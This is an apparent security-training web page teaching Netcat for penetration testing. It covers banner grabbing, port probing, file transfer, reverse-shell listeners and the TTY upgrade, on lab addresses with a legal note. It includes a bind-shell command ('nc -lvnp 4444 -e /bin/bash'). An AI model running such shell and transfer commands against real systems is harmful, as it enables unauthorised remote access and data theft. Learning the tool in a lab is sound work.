ERROR DEXby Akshay kumar
STUDY MODE / TOOLS / NETCAT
OFFENSIVE · NETWORKING SWISS ARMY KNIFE

Netcat

Netcat reads and writes raw TCP/UDP. That one ability makes it a banner grabber, a port probe, a file transfer tool and a shell handler — the most useful 30-year-old utility in security.

Banner grabbing is the fastest way to confirm what a service really is — faster than any scanner.
-lvnp is the listener; -e (execute) is what turns it into a shell — and what many builds now disable.
There is no encryption and no authentication. Everything you send is plain text on the wire.
HOW TO USE IT → WHY IT MATTERSCOMMANDS HOW IT WORKSMISTAKES
LICENCEOpen source (varies by variant)
PLATFORMLinux · Windows · macOS
FIRST APPEARED1995 (Hobbit)
VARIANTSnc, ncat, netcat-openbsd

What it is

Netcat opens a TCP or UDP connection and connects it to standard input and output. Whatever you type goes out; whatever arrives is printed. From that single primitive you get: banner grabbing, manual protocol testing, file transfer, port scanning and shell handling.

Variants matter. netcat-traditional supports -e (execute a program). netcat-openbsd (the default on Debian/Kali) does not — you use -c or named pipes instead. Ncat (from Nmap) adds SSL, access control and connection brokering. If a tutorial's command "doesn't work", this is almost always why.

WALKTHROUGH

How to use Netcat

Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.

01

Grab a banner — what is really behind that port?

KALI LINUX
kali@errordex:~$ nc -nv 10.10.10.5 22
(UNKNOWN) [10.10.10.5] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10

# OpenSSH 7.2p2 + Ubuntu 16.04 (EOL) = old and unpatched
WHAT THIS MEANSOne line, three facts: the software, its version, and the OS build. A scanner tells you a port is open; Netcat tells you what answered.
02

Probe a range without a scanner

KALI LINUX
kali@errordex:~$ nc -zv 10.10.10.5 1-1000 2>&1 | grep -v refused
(UNKNOWN) [10.10.10.5] 22 (ssh) open
(UNKNOWN) [10.10.10.5] 80 (http) open
(UNKNOWN) [10.10.10.5] 139 (netbios-ssn) open
(UNKNOWN) [10.10.10.5] 445 (microsoft-ds) open
WHAT THIS MEANSQuick and dependency-free. 139/445 open on an internet-facing host is a serious finding — SMB exposed to the network is how most ransomware spreads.
03

Move a file with no service installed

KALI LINUX
kali@errordex:~$ nc -lvnp 4444 > received.zip   # on the receiver first
listening on [any] 4444 ...
connect to [10.10.10.1] from (UNKNOWN) [10.10.10.5] 51234

# then, on the sender:
# nc 10.10.10.1 4444 < payload.zip
WHAT THIS MEANSThe receiver must start first — that is the mistake everyone makes. No FTP, no SCP, no service on the target required: just a socket.
04

Set up a listener BEFORE firing an exploit

KALI LINUX
kali@errordex:~$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.10.1] from (UNKNOWN) [10.10.10.5] 51288
id
uid=33(www-data) gid=33(www-data)
WHAT THIS MEANSA reverse shell connects outward, so the listener has to exist first or the shell has nowhere to land and is lost. Once in, upgrade to a real TTY with python3 -c 'import pty;pty.spawn("/bin/bash")'.
05

Speak a protocol by hand

KALI LINUX
kali@errordex:~$ printf "GET / HTTP/1.1\r\nHost: target.local\r\n\r\n" | nc -nv 10.10.10.5 80
HTTP/1.1 200 OK
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 1043

<html>…
WHAT THIS MEANSSending a raw HTTP request shows exactly what the server does with no browser in the way — useful for confirming how it handles malformed input or unusual headers.

Flags & options

FLAGWHAT IT DOES
-lListen mode (server).
-vVerbose output.
-nNo DNS resolution — faster.
-p PORTLocal port to listen on.
-zScan mode: connect, report open, send nothing.
-uUDP instead of TCP.
-e progExecute a program (traditional variant only — often disabled).
-w NTimeout in seconds.
-q NQuit N seconds after EOF — useful for scripting.
-kKeep listening after the client disconnects.
nc -lvnp 4444 > fReceive a file.
nc host 4444 < fSend a file.

Why it matters

When a scan says "port 22 open", Netcat tells you what is actually behind it — the exact banner, the exact protocol behaviour. When you need to move a file to a target, Netcat does it without any service installed. When you need a shell listener for a payload, Netcat is the receiver. It is the tool you reach for when nothing else is installed.

How it works

Netcat connects a socket to standard input and output. Anything you type is written to the socket; anything the remote sends is printed. That single mechanism is enough to speak any plain-text protocol by hand, move a file, or hand a shell to a listener.

Reverse shells work because the target initiates the connection outward — which most firewalls allow — and your listener simply accepts it and connects the socket to your terminal.

BANNER GRABnc -nv host 22PORT PROBEnc -zv host 1-1000FILE TRANSFERnc -lvnp 4444 > fSHELL HANDLERnc -lvnp 4444RAW TCP / UDPstdin ⇄ socketSERVICE BANNERwhat is itOPEN / CLOSEDis it thereFILE MOVEDno service neededSHELLinteractive
One primitive — raw socket to stdin/stdout — becomes five different tools

Commands & syntax

BANNER GRAB AND PROBE
# what is really on that port?
nc -nv 10.10.10.5 22
nc -nv 10.10.10.5 80

# quick port probe
nc -zv 10.10.10.5 1-1000
nc -zvu 10.10.10.5 53
FILE TRANSFER
# receiver first
nc -lvnp 4444 > received.zip

# then sender
nc 10.10.10.5 4444 < payload.zip
LISTENER FOR A SHELL
# set this up BEFORE you fire the exploit
nc -lvnp 4444

# upgrade it to a real TTY once you are in (on the target)
python3 -c 'import pty;pty.spawn("/bin/bash")'
BIND SHELL (traditional variant only)
# on the target — many builds no longer support -e
nc -lvnp 4444 -e /bin/bash

# connect to it
nc 10.10.10.5 4444
CHAT / MANUAL PROTOCOL TEST
# speak HTTP by hand — useful for confirming how a server behaves
printf "GET / HTTP/1.1\r\nHost: target.local\r\n\r\n" | nc -nv 10.10.10.5 80
KALI LINUX
kali@errordex:~$ nc -nv 10.10.10.5 22

(UNKNOWN) [10.10.10.5] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10

# That single line tells you:
#   OpenSSH 7.2p2  → old, check for known issues
#   Ubuntu 16.04   → EOL, likely unpatched elsewhere too
#   No delay       → not behind a proxy or wrapper

kali@errordex:~$ nc -zv 10.10.10.5 1-1000
(UNKNOWN) [10.10.10.5] 22 (ssh) open
(UNKNOWN) [10.10.10.5] 80 (http) open
(UNKNOWN) [10.10.10.5] 139 (netbios-ssn) open
(UNKNOWN) [10.10.10.5] 445 (microsoft-ds) open

# 139/445 open on an internet-facing host is a serious finding

Common mistakes

Expecting -e to work

Most modern builds disable it. Use named pipes or a reverse shell payload instead.

Firing an exploit before starting the listener

The shell connects to nothing and is lost. Listener first, always.

Leaving listeners open

A forgotten nc -lvnp 4444 is an open door on your own machine.

Using it across the internet unencrypted

Everything is plain text — credentials included. Use SSH or Ncat with SSL when it matters.

Confusing variants

nc on Debian is openbsd variant; tutorials using -e assume the traditional one.

Forgetting to clean up transferred files

Leave the target as you found it, or note exactly what you changed.

Practice safely

Practise on two VMs on a host-only network — one Kali, one target. Every command here needs nothing more than that. TryHackMe rooms use Netcat constantly for shell handling.

Legal note. Only use Netcat on systems you own or have explicit written permission to test. In India, unauthorised access is punishable under sections 43 and 66 of the IT Act, 2000. Every example on this page assumes a lab environment.

Related